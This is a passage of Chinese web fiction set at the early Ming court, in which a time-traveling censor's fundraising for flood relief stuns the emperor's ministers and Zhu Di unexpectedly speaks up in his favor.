“若是如此,那岂不是可以多放一些名额?”老朱越说眼睛越亮,仿佛看到了金山银海滚滚而来..... “如今朝廷国库银子不多,各处都要用钱,若是放开个一百名额,不,哪怕五十个!收拢个四千万两,岂不是顶了朝廷两年税赋?也能让百姓轻松不少,免去多少加征的苦楚!妙啊!此乃妙计!” 一旁的蓝玉也是眼前一亮,他被老朱描绘的美好前景所吸引,仿佛看到了军饷充足、兵强马壮的情景,立刻抱拳附和:“陛下英明!此法甚好!若得此巨款,何愁北元不灭,何愁天下不靖!” 朱樉此时整个人都怔住了..... 他张了张嘴,看着兴奋的父皇和附和的凉国公,一时之间竟不知该说什么好。 他猛地看向一旁的朱煐,眼中先是闪过一丝错愕,随即转化为满满的崇拜和敬意!高人啊!朱御史果然早就料到父皇会这么想!昨夜他特意强调这点时,自己还将信将疑,没想到全被他说中了! 这特么的.....真是天助本王!一切.....简直就像是排练好的一样! 朱樉心中狂喜,感觉自己此刻如有神助。 他深吸一口气,努力摆出沉痛和忧虑的表情,上前一步,声音洪亮,带着一种“苟利国家生死以”的决绝: “父皇,不可!” “此乃竭泽而渔、杀鸡取卵的昏聩之举!” “还请父皇暂熄此念,听儿臣一言!” 这肚子里有货、胸有成竹的感觉就是不一样,朱樉只感觉自己还真是颇有了一种敢于直谏的贤王风范,而且这劝的,理直气壮,全对!这种感觉简直美妙极了! 第82章 兖兖诸公,寂寂无声 老朱看着朱煐,眼里满是欣慰,那目光温润得如同看着一件失而复得的稀世珍宝,连日来积压在心头的阴霾。 此刻仿佛被这四百多万两白银映照出的光芒驱散了不少。 原本他对于大明的未来是担忧的,朱标去世之后,老朱甚至一时间感觉眼前一片灰暗,偌大的江山,竟寻不出一个能稳稳接住这千斤重担的肩膀。那种挫败和孤寂,比处理不完的奏章、杀不尽贪官更让他心力交瘁。 爱子之情是一方面,可还有一方面就是自己培养了一辈子的大明未来继承人,就这么没了,老朱为大明的未来感到担忧,他有时深夜惊醒,都会梦见江山倾覆、百姓流离的景象,惊出一身冷汗。 而没想到就在这个时候,朱煐恰好就出现了! 失而复得的大孙子,且展露出了就连老朱都惊叹的天赋和能力,处事老辣,眼光独到,常常能于不可能处开辟出新路,这份能耐,让老朱在悲伤中看到了一线前所未有的希望...... 眼下朱煐更是展现出了从某种方面而言甚至超过于老朱的能力——这聚财的本事,老朱自认拍马难及。老朱有种天佑大明的感觉,仿佛冥冥中自有定数,在大明需要新的支柱时,送来了朱煐。 或许.....咱真的老了吧? 长江后浪推前浪,老朱以前从来没有这种感觉,哪怕是朱标在的时候,老朱虽然对朱标这个继承人感觉到满意,可依旧不觉得朱标能够超过自己,总觉得自己还能再替他撑几十年,替他扫清所有障碍....... 可眼前朱煐所做的事情,提出来的理论,即便是让老朱也不由得耳目一新,甚至需要细细琢磨才能领会其中的妙处。这种后生可畏的感觉,复杂,却更让他安心。 “待会儿便要上朝了,你们准备准备。”老朱收敛心神,声音恢复了平日的沉稳,但眼底的笑意却藏不住。 “朱爱卿,今日上朝,你可别在低调了。”老朱用衣袖擦了擦眼角的泪花,笑着冲朱煐打趣道,语气中带着明显的期待和鼓励。 这会儿的老朱脑海里不由自主地出现了一个画面...... 那是朝中众臣,特别是那些当初等着看笑话、质疑朱煐能力的官员,比如齐泰、黄子澄之流,看到这堆积如山的银箱,得知朱煐短短数日之内筹措到这整整四百余万两的场景画面.....他们的表情一定精彩极了! 哈哈哈哈! 想到这,即便是老朱也不由心中大乐,连日来的疲惫都一扫而空。 让你们看不起咱大孙,哼,咱大孙的本事,大着嘞!亮瞎你们的眼! 老朱却完全忘了在朱煐主动接下筹措湖广赈灾钱粮的时候,老朱他自己也并不看好朱煐,甚至已经暗自盘算好了,万一朱煐失败,该如何替他转圜,保住他的性命和官职。此刻,成功的喜悦早已覆盖了当初的担忧。 朱煐之所以能够如此了解商贾,主要还是站在后世理论基础总结的巨人肩膀上... 至于换位思考?虽然有一定的作用,但实际上也就是和放屁没有什么区别...... 换位思考有用的前提是你真的按照商贾的思维去思考... 而之所以朱樉可以换位思考,主要还是因为朱煐的语言引导以及这摆在眼前的四百多万两银子引起了朱樉本身的思考..... 老朱等人的思考也是同样的道理... 倘若没有这四百多万两银子的事实摆在面前,换位思考?压根就不存在~! ...... 众人向老朱汇报完这四百多万两的来路之后,老朱明白这钱就是实打实的商贾用来捐赠给大明,以换取孩子入稷下学宫学习的名额之后,也松了口气,心中最后一块石头落了地。 这法子,既解了燃眉之急,又为朝廷选拔了人才(至少是潜在的人才),还让商贾心甘情愿,简直是一举数得。 他最怕的就是朱煐误入歧途,用了什么强取豪夺或者后患无穷的手段,没想到这结果比自己想象中的还要更好,这钱的来路不光没有问题,而且是完美!他甚至已经开始琢磨,这“稷下学宫”或许真可以好好办起来,成为大明未来的一个亮点。 老朱心情大好的同时,睡意也没了,精神焕发,仿佛年轻了几岁。 御书房外,随着时间的流逝,原本完全没有光亮的黑夜已经被一层灰蒙蒙的白光所取代,宫灯的烛火在渐亮的天色中显得不再那么醒目。 朱樉等人入宫的时候,天还完全没有放亮,而随着在御书房向老朱汇报的档口,天色已经开始变得蒙蒙亮了,宫殿的轮廓逐渐清晰起来。 时间流逝很快,转眼就到了要上朝的时间,宫钟悠扬地响起,回荡在紫禁城的上空。 ...... 奉天殿内。 空荡荡的,朱樉、朱煐几人可谓是到的最早。箱笼已经整齐地码放在大殿中央,颇为壮观。 老朱也到了,不光如此,他还让人将原本已经入了内库的四百多万两银子,一箱箱全都给抬到了这奉天殿上,而且是直接放在正中间的位置,刻意营造出一种震撼的效果。他要让每一个走进大殿的官员,第一眼就被这实打实的功绩所冲击。 就这么,众人开始站在位置上默默等待,朱煐依旧平静,朱樉和蓝玉则有些按捺不住的兴奋,不时交换着眼色。朱允熥站在朱煐侧后方,看着那些箱子,小脸上也满是激动。 等蒋瓛差人将箱子尽数抬完的同时,其他的朝臣也都开始稀稀拉拉地陆续到了奉天殿,寂静的大殿渐渐有了人声。 ...... 黄子澄来的最早,他打着哈欠刚进奉天殿,脚步还没站稳,立刻就愣住了,睡意瞬间被眼前的景象惊飞到了九霄云外。 老朱已经坐在了龙椅上,神情莫测。朱樉、蓝玉、张平、方孝孺、朱煐、朱允熥全都已经站在了自己的位置上,而且个个精神抖擞。原本空旷的奉天殿也因为堆放了几十个硕大醒目的箱子以至于显得有些拥挤,甚至需要侧身才能通过。 黄子澄瞬间打了个哆嗦,原本的睡意瞬间消散,心跳不由自主地加快。这阵仗,太不寻常了! 他平日里早朝也来的很早,他来的时候老朱大抵都是没有来的,甚至满朝文武可能都到的少,可现在......陛下、秦王、凉国公、还有朱煐这一干人,竟然全员到齐,还多了这么多箱子? “今日陛下怎么来的这般早?这些箱子........装的难道是........”黄子澄心里泛着嘀咕,一股不祥的预感涌上心头。 又看了看朱煐等人,心里头不由得咯噔了一下......朱允熥居然也在!这阵容,怎么看怎么像是允熥皇孙一脉的核心人物齐聚一堂啊! 虽然这些日子朱允炆已经不针对朱煐,甚至有意接近拉拢,可这并不意味着朱煐就被朱允炆一方的朝臣们所接受,毕竟这朱允熥还住在朱煐的家中呢,这层关系在黄子澄看来,就是最大的不稳定因素。 哪怕朱允炆再认为朱允熥没有威胁,可身为谋臣的黄子澄却根本不敢有丝毫的小视,时刻保持着警惕。 小心使得万年船啊...... 难不成今日.....有什么特殊的事情?是陛下要宣布什么重大决定?和这些箱子有关?还是和....立储有关? 黄子澄瞬间整个人都紧张了起来,脑海里飞速思考着究竟发生了什么事,各种可能性交织,让他手心微微冒汗。 忽然,一个最让他担忧的念头闪过黄子澄的脑海..... 莫不是.....陛下改了主意,想立允熥皇孙为皇储了?否则何以解释陛下如此早到,朱允熥在场,以及蓝玉、朱樉这些与朱允炆不算亲近的重臣也早早在此? 也不怪黄子澄会如此想,这今天老朱来上朝的时间早的吓人不说,无论是蓝玉、朱樉、朱煐、方孝孺、张平等人,全都有一个共同的特点,那就是和朱煐走得很近,而朱煐又与朱允熥关系密切,和朱允炆这一脉的关系却是一般...... 而如今朱允熥又在...... 自然而然黄子澄就联想到了争夺皇储之事...... 不过这会儿黄子澄也不敢开口询问,只是强作镇定,看了眼正在龙椅上端坐着闭目养神的老朱,黄子澄缩了缩脑袋,低着头,快步想溜到属于自己的位置上...... 他正准备走过去,然而就在此时,原本闭着眼睛的老朱忽然睁开了眼睛,目光如电,瞬间落在了正想“隐身”的黄子澄身上...... 老朱微微一笑,那笑容在黄子澄看来却有些高深莫测:“黄爱卿,今天来的挺早啊。”声音在空旷的大殿里显得格外清晰。 黄子澄瞬间整个人身子一僵,感觉后背的寒毛都要竖起来了,连忙停下脚步,躬身行礼,声音都带着一丝不易察觉的紧张:“陛下谬赞,陛下来的比臣可早多了,这早字.....臣可担不起。”他心里叫苦,怎么偏偏第一个被陛下盯上了。 “咱来得早那是事出有因,行了黄爱卿,你到自己的位置上站着吧,等人都到来之后,咱自然会说,今日咱得宣布一件大事!”老朱的心情很不错,他甚至有些迫不及待地想要和人分享,分享朱煐以一己之力在短短数日之内筹措到四百多万两银子的壮举!他特意强调了“大事”二字,更是让黄子澄心中七上八下。 这可是咱大孙干的!老朱看着下方神色平静的朱煐,心中的骄傲几乎要满溢出来。 虽然眼下知道朱煐身份的也就只有老朱自己和蒋瓛两人,哪怕是朱煐自己都还不知道,可老朱依旧忍不住骄傲,这是一种藏在心底、不能明言却异常炽热的情感。 事实就是事实,事情是自己大孙干的就是事实! 有时候爽不一定是要明着爽,暗爽也不乏为一种爽,尤其是看着满朝文武即将露出的震惊表情,而只有自己知道这创造奇迹之人真正身份的暗爽,更是爽上加爽。 而显然,这会儿的老朱就是在暗爽,并且期待着早朝正式开始的时刻....... ...... 黄子澄入位没多大会儿,朱棣也来了。他脚步略显沉重,眉宇间带着一丝挥之不去的疲惫。 这几天的时间里朱棣也没有睡好,顶着个大黑眼圈,活像只刚从洞里钻出来的貔貅。 他派出了手下得力的探子,让人不断打探朱煐府上的消息,指望着能摸清那三十六万两银子的来龙去脉..... 可这里不是北平,是他的老爹朱元璋牢牢掌控的京城!想要在天子脚下,尤其是皇宫附近打探消息,目标还是老朱亲自安排人手把控的朱煐府宅,这难度实在太大了........ 朱棣得到了一堆似是而非、语焉不详的消息,最多只能知道哪个富商又进了朱煐的府门,至于入府后谈了些什么,达成了什么协议,就一概不知了,仿佛有一层无形的壁障隔绝了内外。 毕竟朱煐府上的下人,从门房到厨娘,清一色都是老朱给安排的锦衣卫,这些人训练有素,口风极严,想要从他们的嘴里撬出半点有用的消息,几乎不可能。 朱棣甚至动了安插眼线的念头,但权衡再三还是放弃了,风险太高,一旦暴露,后果不堪设想。 朱棣至今也没有想明白朱煐是怎么说服这些向来精明吝啬的商贾,心甘情愿掏出真金白银的。 那可是整整三十六万两银子!不是三十六两! 这特么的,商贾什么时候变得这么大方了? 难道太阳打西边出来了? 仅仅只是为了一个莫须有、还没影子的稷下学宫的一个入学名额? 这怎么可能? 朱棣觉得这理由简直荒谬透顶........ 真要是这么容易的话,改天自己也回北平开个学宫,挂个“燕山书院”的牌子,那不是也直接能坐等着银子入账几十万两? 天下哪有这等好事!这其中必然还有自己所不知晓的关键缘由在。可究竟是什么缘由.....朱棣就麻爪了,想得脑仁疼也理不出个头绪。 茶不思饭不想数日,今天还在睡梦中呢,忽然手下来报,说是朱樉和朱煐带了一大队人,天没亮就浩浩荡荡入宫了,还押运着许多看起来沉甸甸的大箱子。 朱棣一个激灵就醒了。没有到上朝时间,宫门紧闭,还在宵禁,想入宫根本不可能,除非.....是老朱下了特旨传召!究竟是什么急事,需要在这深更半夜入宫觐见? 朱棣立刻就没有了睡意,心里像有二十五只老鼠——百爪挠心。 他有些焦急地也想立刻跟着入宫看个究竟,可理智让他克制住了自己。 这对方刚入宫自己就跟着入宫,时间点卡得这么准,那不是明摆着告诉别人自己在时刻监视着朱煐的一举一动吗? 被朱煐那小子知道倒是没什么,可要是引起了自己那疑心病重得能跑马的老爹的怀疑,那可就完犊子了,跳进黄河也洗不清....... 于是朱棣强忍住了冲动,像热锅上的蚂蚁一样在府里转了几圈,心想左右距离早朝时间也快了,不如趁早去奉天殿等着,总能看出些端倪。 朱棣看时间差不多,赶忙整理好朝服,动身直接来到了奉天殿....... 而刚进奉天殿的朱棣就感受到了今天朝中气氛的不同寻常。 果然,自己来得算是早的,也就黄子澄比自己稍稍更早一些,正缩在位置上,脸色有些惊疑不定。而剩下的几个早就到场的人..... 朱煐、朱樉、蓝玉、方孝孺、张平,甚至连朱允熥都在,一个个精神焕发,分明就是提前入宫的那一拨! 朱棣四下打量着朱煐等人,试图从他们脸上找出些线索.....他的眉头微微皱起,心中疑窦丛生。这帮人凑在一起,还这么早被老爹召见,到底所为何事? 最终,朱棣打量了一圈之后,目光不可避免地落在了奉天殿前方空地上那几十个码放整齐、格外扎眼的大箱子身上....... 这些箱子体积不小,木质厚重,看起来分量不轻...... “这些是...什么?”朱棣心里嘀咕。隐约间他感觉朱煐等人深夜入宫应该与这些玩意儿有关,可箱子里究竟是什么,朱棣心中好奇得像是有只小猫在抓挠。 他也想过里面可能是金银,但立刻又否定了。 几十个大箱子的金银珠宝?那得是多少钱? 那怕是抵得上国库一小半的收入了!这根本不现实,这绝对不可能! 朱煐才折腾了几天? 但若不是金银,又会是什么重要的东西,值得如此兴师动众,还摆放在奉天殿如此显眼的位置? 按照这陈列的位置和架势看,这些玩意儿绝对非比寻常..... ...... “老四来了?” 就在朱棣心中思绪飘飞,各种猜测纷至沓来之际,老朱那熟悉的声音响起,将他的思绪猛地拉回到了现实..... 朱棣这才猛地回过神,意识到自己刚才有些失态,连忙收敛心神,看向龙椅上的老朱,规规矩矩地躬身行礼:“儿臣拜见父皇。” “行了老四,到自己的位置上且站着吧。”老朱冲着朱棣挥了挥手,语气听起来似乎........带着一种难以掩饰的轻松甚至是一丝愉悦? “是。”朱棣应了声是,依言走向自己的位置,可脚步移动间,眉头却皱得更紧了。他本能地就感觉到了老朱态度上的不对劲....这语气,不像是平日里早朝前那种威严沉重或者带着审视的感觉。 “今天父皇的心情不错?”朱棣心里打了个突。知子莫若父,同样,了解老朱的莫过于老朱的几个儿子,朱棣常年在外,但对老爹的脾气摸得门清,他只是从老朱刚才那一句话的语气和细微的语调变化里,就基本上能分辨出这会儿老朱的心情状态相当之好。 难不成....这箱子里真他娘的是银子?一个大胆而荒谬的念头再次冒了出来。朱棣眉头不由得锁成了一个川字。 他想到了前几日朱煐在一日之间就让那胡老三送上的三十六万两用于湖广赈灾的银钱.....这才过去几天?难不成这小子还能每天变出几十万两不成?难不成真被他给凑齐了湖广赈灾所需的百万之数? 湖广大灾,波及甚广,想要真正稳住局势,救济灾民,重建秩序,区区三十六万两肯定还是杯水车薪,根据朱棣的估算,至少也需要百万两以上的银钱,这还得指望能用这些钱在外地顺利买到足够的粮食并及时运送过去才行..... 越想,朱棣越觉得这个可能性在增大,否则无法解释老爹的好心情和眼前这诡异的阵仗。可他依旧想不明白,这百万银子,朱煐究竟是如何从那些恨不得一个铜板掰成两半花的商贾手里掏出来的.....这简直比用兵之道更让他感到匪夷所思。 ....... 朱棣的疑惑注定暂时是没有人能给他解答的了。老朱显然没有当场解释的意思。 随着时间的推移,奉天殿内的官员逐渐多了起来。老朱只是默默地坐在龙椅上,手指轻轻敲打着扶手,目光饶有兴致地看着朝中的一个个朝臣走入奉天殿,观察着他们看到自己和那堆箱子时脸上露出的惊愕、疑惑、紧张的神情...... 原本朝会的时间还有半个时辰,大部分的官员在上朝前都会先三五成群地聚在殿外廊下,私下交流交流信息,通通气,老朱一般是最后到的,大家都已经习以为常了,这也算是朝臣们一天中相对放松的时刻。 毕竟这天下间哪里有皇帝等大臣的道理?历来都是臣子候君父。 可今天大家一走进奉天殿,立刻就感受到了全然不同的气氛..... 龙椅上那位的身影如同定海神针般早已端坐其上。 原本还放松着、低声交谈着走入大殿的大臣们,刚跨过高高的门槛,一抬头就看到了老朱那张不怒自威的脸,以及殿中那堆显眼的箱子,瞬间像是被掐住了脖子,交谈声戛然而止,一个个紧张地整个人绷直,下意识地整理衣冠,赶忙低着头,加快脚步回到自己的位置上站定,眼观鼻,鼻观心,大气都不敢喘一口..... ......... 不多时。 偌大的奉天殿就站满了文武百官,黑压压的一片,却鸦雀无声,落针可闻,一种无形的压力弥漫在空气中。 文武官员悉数毕至,分列左右,所有人的目光或直视前方,或微微低垂,但眼角的余光都不约而同地瞟向大殿中央的那些箱子和龙椅上的皇帝。 老朱坐在龙椅上,俯看下方的文武百官,见百官都已经到齐,这才缓缓开口,脸上带着一种意味深长的笑容,声音幽然地在大殿中回荡..... “诸位爱卿,今天大家到的都挺早啊。”这话听着像是随口的寒暄,但结合眼前这情景,怎么听都让人觉得别有深意。 “不过咱到的更早,诸位可知为什么今天咱到的早啊?”老朱笑眯眯地看着殿中的大臣,目光从一个个大臣的身上扫过,如同检阅军队一般,被扫过的大臣都不由自主地缩了缩身子,感觉后背有些发凉,心里七上八下的。 “臣等不知,请陛下明示。”一个个官员齐齐应声,声音在空旷的大殿里显得有些沉闷。 大家的心里头也都在泛着嘀咕,打鼓似的响。这莫名其妙的老朱来得这么早,还摆了这么一堆箱子在殿上,这是发生了什么事? 是天大的喜事?还是天大的祸事? 有些心思缜密、眼光毒辣的,目光已经在那几十个密封的大木箱上逡巡了无数次,只是任他们想破脑袋,也猜不透里面装的是什么,更不晓得老朱的这葫芦里卖的是什么药,一个个都不敢轻举妄动,只能静观其变...... “湖广之事已经过去了有些时日了,诸位爱卿难道就不揪心吗?”老朱话锋一转,提到了当前最棘手的难题,脸上的笑容收敛了些,换上了一副沉痛的表情。 “咱每天都在想,想着湖广正在受苦受难的无数百姓,咱这一闭上眼睛啊,就看到一个个面黄肌瘦的百姓跪在咱的面前,抱着咱的腿哭啊!说皇上,饿啊!”老朱说得慷慨激昂,声音带着颤抖,说到动情处,眼圈还真泛起了些许的泪光,用手背擦了擦眼角,一副心系黎民、忧国忧民的姿态...... 第83章 石破天惊!骇人听闻! “讲!”老朱也看向朱棣,目光深邃,看不出喜怒。 朱棣微微一笑,那笑容显得有些高深莫测,而后他转向黄子澄所在的方向,目光锐利: “黄大人,方才你口口声声说这湖广灾情因朱御史一人而延误,要治朱御史延误灾情之罪?” 他的语气平和,却带着一股无形的压力。 黄子澄看着这突然站出来的朱棣,心里头没来由地咯噔了一下,一股不祥的预感涌上心头..... 燕王的这语气,怎么听起来不像是要附和咱们,反而好像是要替朱煐那小子说话的意思? 不对不对,肯定是感觉错了,前不久朱煐这小子还让燕王蹲了大狱,丢尽了颜面,两人之间应该是势同水火才是.....黄子澄强行安慰自己。 “燕王殿下,下官以为,有功就要赏,有过便要罚,此乃朝廷法度之基,不知殿下以为如何?” 黄子澄硬着头皮,试图用大道理稳住阵脚。 “好!” 朱棣猛地拍手叫好,声音响亮,把不少人都吓了一跳。 “好一个有功要赏,有过要罚!黄大人此言,深得我心!本王也以为,我大明朝廷法度,就该如此分明!” 朱棣先是肯定了黄子澄的原则,但话锋随即一转: “父皇!” 他转向老朱,声音铿锵有力,响彻整个奉天殿:“据儿臣所知,数日之前,朱御史便已经为湖广灾情,筹措到了整整三十余万两银子!此事千真万确!仅此一项,便是解了朝廷燃眉之急的大功!儿臣今日,便要在此为朱御史请功!” 偌大的奉天殿,刹那间寂静无声,仿佛连空气都凝固了..... 这一刻,所有人都怔住了,仿佛被施了定身法..... 黄子澄怔住了,张着嘴,像是离水的鱼..... 齐泰怔住了,眼睛瞪得溜圆..... 文武百官全都愣住了,脸上写满了难以置信..... 朱棣这一句话,如同平地惊雷,直接让原本喧闹的奉天殿陷入了死寂! 等等! 燕王方才说什么? 三....三十六万两?还是“三十余万两”? 大家甚至都以为自己幻听了,或者是朱棣说错了数字?这怎么可能?才几天功夫? “燕王殿下!您...您是从何处得来的消息?三十六万两?这...这如何可能?”有官员忍不住失声质疑,声音都带着颤抖。 “哼!”朱棣冷哼一声,睥睨着那质疑的官员:“本王何等身份?还不屑于在此等大事上撒谎!这钱款,早已录入内库,你若不信,当面问父皇便是!” 他直接将皮球踢给了最有权威的朱元璋。 一瞬间,所有人的目光,如同聚光灯般,齐刷刷地投向了龙椅上的老朱,等待着最终的裁决..... 老朱见此情景,面色平静,缓缓点了点头,声音沉稳地证实了朱棣的话: “不错。老四所言属实。朱御史在接下了筹措湖广赈灾粮款任务的第二日,便已经筹措到了三十六万两钱粮,并且其中十万两,还是在湖广附近就能调集的现成粮食!若是以湖广如今飞涨的粮价来计算,这批粮食的实际价值,怕是得翻个两三倍计。” 老朱的这一句话,如同重锤,彻底击碎了方才所有开口抨击朱煐的文官们的幻想和借口!黄子澄的脸色刷的一下变得煞白,毫无血色! 不光是黄子澄,齐泰的脸色也是瞬间变得惨白如纸..... 想到自己刚才那番慷慨陈词,什么“延误灾情”、“罪不可赦”,还要“变卖家产”捐出五百两,两人都不由自主地老脸一红,恨不得找个地缝钻进去,简直是无地自容! 刚刚他们都说了些什么啊? 嚷嚷着要给立下大功的朱煐治罪,然后自己等人要“慷慨解囊”为湖广百姓“怒捐”五百两? 合着人家朱御史一日之间就不声不响地弄到了三十六万两!还是实实在在已经入库的钱粮! 五百两.....对三十六万两? 这对比何其讽刺!何其打脸! 黄子澄和齐泰以及朝堂上所有方才跟着起哄的文官集团成员,这一刻全都哑口无言,陷入了死一般的沉默,脸上火辣辣的,不知该说什么好了..... 看向朱煐的表情,更是无比的复杂,混杂着震惊、羞愧、难以置信,还有一丝恐惧...... 接下筹措湖广赈灾粮款这项几乎被认为是不可能完成的任务的第二天,直接就弄到了三十六万两? 这特么的还是人吗?是怎么弄到的? 捡钱也没有这个速度吧?这简直是点石成金的神仙手段! ...... 而这会儿的朱煐自己也是有点懵圈了..... 他下意识地看向朱棣,让他感觉到懵逼和警惕的,正是这朱老四的态度.... 不是,这朱老四怎么回事?吃错药了?他怎么还突然跳出来帮自己说话了?这太阳是打西边出来了? 这打的是什么主意?黄鼠狼给鸡拜年,能安什么好心? 虽然不清楚对方葫芦里卖的什么药,但朱煐心里头本能地一突突....不管怎么说,被朱棣这种人当众维护,这可不是一个好兆头,事出反常必有妖! 而就在朱煐看向朱棣的时候,朱棣好像也有所察觉,竟然扭头看向了朱煐,冲着他露出了一个意味深长,甚至可以说带着几分“友善”的微笑。 “????” 朱煐脸上的表情瞬间僵住了,心里更是警铃大作.... 不是,你冲我笑什么笑?我们很熟吗? 这不坏菜了么!你这一笑,比骂我还让人难受啊! 你笑毛啊!到底想干嘛? ..... “父皇,儿臣要为朱御史请功!” 朱棣不再看朱煐,转而正了正身子,面色坦然地看着老朱,继续说道: “黄大人方才说得好,‘有功要赏,有过要罚’!朱御史为我大明筹措三十六万两赈灾粮款,这便是解朝廷倒悬之急的大功一件!儿臣以为,必须得重重赏赐,方才能彰显我大明律法之森严,朝廷奖惩之分明!” 老朱听得眉头一挑,脸上露出玩味的表情。 “老四,咱怎么听说,前些日子你和朱御史有些矛盾呢?怎么今日反倒替他请起功来了?” 老朱饶有兴致地看着朱棣,仿佛在看一出好戏。 其余众人闻言,嘴角都不由得抽了抽.... 陛下您这简直是明知故问啊!这矛盾不就是您一手操办的吗? 要不是您当初旗帜鲜明地给朱御史站台,燕王殿下能被送去应天府大牢里体验生活么..... 朱棣却面不改色,正色冲老朱道:“父皇此言差矣。儿臣和朱御史之前那点不快,说到底只是私怨。而且儿臣近些日子以来闭门思过,已经深刻认识到了自己的错误。既然知错,儿臣又岂会一错再错,因私废公?” “当日儿臣确实是当街纵马,有违律法。朱御史要求父皇您按照法度将儿臣送入应天府大牢,乃是恪守我大明律法,秉公办事!这江山是天下人的江山,也是我朱家的江山,朱御史此举,维护的是大明的江山律法,从长远看,同时也是在维护我们朱家长久统治的根基啊!儿臣如今想来,唯有敬佩!” “儿臣早已想明白,原本还正准备这几日登门拜访朱御史,将此番误会说开呢。只是想着朱御史近日公务繁忙,既要操心重开稷下学宫之千古盛事,又要全力以赴筹措湖广赈灾粮款,儿臣实在不便打扰,便暂且将此事搁置下了。” “如今,朝堂上诸公不明就里,便对有功之臣朱御史妄加指责,口诛笔伐,如此行径,岂不让为国尽忠的能臣干吏寒心?若因此使得朝野有志之士不敢为朝廷效力,岂非因小失大?” 朱棣一脸的正气凛然,言辞恳切,仿佛完全是出于公心。 一旁的朱煐看着此刻演技爆表的朱棣,心中五味杂陈,不知该说什么好了....这朱老四.....脸皮厚度和演技水平,真是堪称影帝级别!他到底在打什么主意? ...... 朱煐的直觉没错,朱棣确实是心中有着自己的计较和盘算..... 原本两人之间的恩怨,让两人几乎走到了对立面,甚至在几日之前,朱棣还满心想着要找机会给朱煐一个深刻的教训,挽回颜面。 可在知晓朱煐一日之间就从那些精明似鬼的商贾手里弄到了三十六万两银子之后.....朱棣回到府中,冷静下来反复思量,逐渐改变了想法! 他在思考一个关键问题:为什么自己那精明无比的老爹朱元璋,会对朱煐这一个毫无根基的毛头小子,比对自己这个战功赫赫的亲儿子都更加看重,更加亲近? 最开始的时候,朱棣只以为是朱煐运气好,或者会溜须拍马。可这几日静下心来细想,尤其是结合朱煐之前的种种言行和如今这石破天惊的“业绩”,朱棣不得不承认,朱煐此子,确实有着惊人的才华和能力!绝非等闲之辈! 一日之间,空手套白狼,从商贾手里弄到三十六万两银子?这是什么神仙本事?朱棣扪心自问,就算把他燕王府的家底全押上,也未必能让那些商贾如此“大方”!他自认绝对做不到。 如此经天纬地的人才,也难怪老头子那么偏爱,甚至不惜打压自己这个儿子来给朱煐立威.... 而眼下,这朝堂上还明晃晃地摆着几十个大箱子呢! 这里面万一真的装的都是金银,如果这些钱当真全都是朱煐在这短短几天内从商贾手里弄来的..... 那这功劳,简直堪称泼天之大!足以封侯拜相! 君子不立危墙之下,识时务者为俊杰。 自己与这朱御史之间,说到底不过是些脸面之争罢了,并非什么不共戴天的死仇。 凡成大事者,必须不拘小节,当能屈能伸! 朱棣敏锐地意识到,继续与朱煐公开对抗,不仅毫无意义,反而只会进一步破坏自己在老爹心中的形象和地位,同时还给自己平白树立了一个能力出众、潜力巨大的敌人,这简直是愚蠢至极的行为。 于是乎,朱棣便果断有了改变策略的想法。 这便有了方才朝堂上,燕王朱棣“不计前嫌”、“深明大义”、主动开口为朱煐辩驳、并为其请功的这戏剧性一幕..... 他这是在向老朱展示自己的“胸襟”,也是在向朱煐释放“和解”的信号,更是在文武百官面前,塑造一个“公而忘私”的贤王形象。 一举多得,何乐而不为? ........ “???” 朱煐彻底傻眼了,嘴巴微张,眼神都有些发直.... 这朱老四,什么时候转性成为正义的化身了?这画风不对啊!说好的睚眦必报、霸气侧漏的永乐大帝呢? 看着在那里慷慨陈词、义正辞严,拼命帮着自己说话的朱棣,朱煐心里头非但没有半点感激,反而郁闷坏了,像是吞了只苍蝇般难受.....这哥们儿不按套路出牌啊! 这老朱家,从上到下,就没有一个思维正常的正常人吗?怎么一个个都这么奇葩? 本以为老朱这个开国皇帝,和自己从历史书上了解到的那位有着这么大的出入,性格手段都颇为不同,就已经是够奇葩的了。结果现在倒好,连朱棣也这样?这编纂明史的满清大儒也太离谱了吧? 老子都已经故意跳到你脸上开大,把你这个堂堂燕王都给送进应天府大牢里关了几天了,这打脸打得啪啪响,是个人都得急眼吧? 结果你丫的不按常理出牌,非但不记仇,还特么凑上来舔我?这操作也太骚了吧! 永乐大帝,未来的明成祖,你就是这么当的?你的王者威严呢?你的一言九鼎、说一不二呢?你的不容侵犯、龙有逆鳞呢?你的那点就着、闻名遐迩的暴脾气呢?都喂狗了吗? 朱煐看着演技精湛、情真意切的朱棣,仿佛全身的力气都被抽空了,一种深深的无力感涌上心头.....这对手不按剧本走,戏没法唱了啊! 他不由下意识地看了不远处的方孝孺一眼,眼神复杂....这老方,历史上他到底是怎么操作的,才能在朱棣这种能屈能伸、脸厚心黑的主儿手下,硬生生混到被“灭十族”那种史诗级难度的成就的? 这难度系数也太高了吧?!简直堪称地狱模式! 现在看朱棣这能舔能忍的劲儿,方孝孺当年得是把朱棣得罪到何种惨绝人寰的地步,才能触发那种隐藏结局啊?朱煐对此表示深度怀疑和强烈的好奇........ 命运又又又一次和朱煐开了个大大的玩笑。他本以为自己和朱棣之间的矛盾,经过大牢事件后,早已经是水火不容、不可调和了。 毕竟,为了彻底得罪朱老四,把路走绝,他可是下了狠手的! 身为一个手握重兵、镇守一方的藩王,被人当众拿下,送进应天府府衙大牢里关了整整数日之久! 这奇耻大辱,这面皮上的损失,换成任何一个稍微要点脸面的权贵,恐怕都忍不了,早就想着法儿要报复回来了。 谁能想到,千算万算,没算到这朱老四他娘的压根就不要脸啊! 老朱家的人,从爹到儿子,这性格都这么奇葩的吗?一个比一个能折腾,一个比一个不按常理出牌! 朱煐一时之间,彻底无语住了,只能默默地在心里吐槽,感觉心好累..... ...... 偌大的奉天殿里,陷入了死一般的寂静,落针可闻。 兖兖诸公,朝中百官,没有一个人开口说话,大家都还处于朱棣突然爆料、而老朱又亲自作保的,“朱煐一日之间筹集到三十六万两”巨额财富的巨大震撼之中,久久没有回过神来.....这个消息太过惊人,足以颠覆他们以往的认知。 最终还是龙椅上的老朱开口,打破了这令人窒息的僵局。 只见老朱脸上带着一种高深莫测的笑容,双手轻轻拍了拍,发出清脆的声响。 “啪啪啪。” “蒋瓛,来,将咱们的功臣,胡老板请上来!”老朱的声音洪亮,带着明显的愉悦。 侍立一旁的蒋瓛赶忙躬身领命,快步走出大殿,不一会儿,便将早就已经在隔壁偏殿等候了许久的胡老三,给带到了庄严肃穆的奉天殿上..... 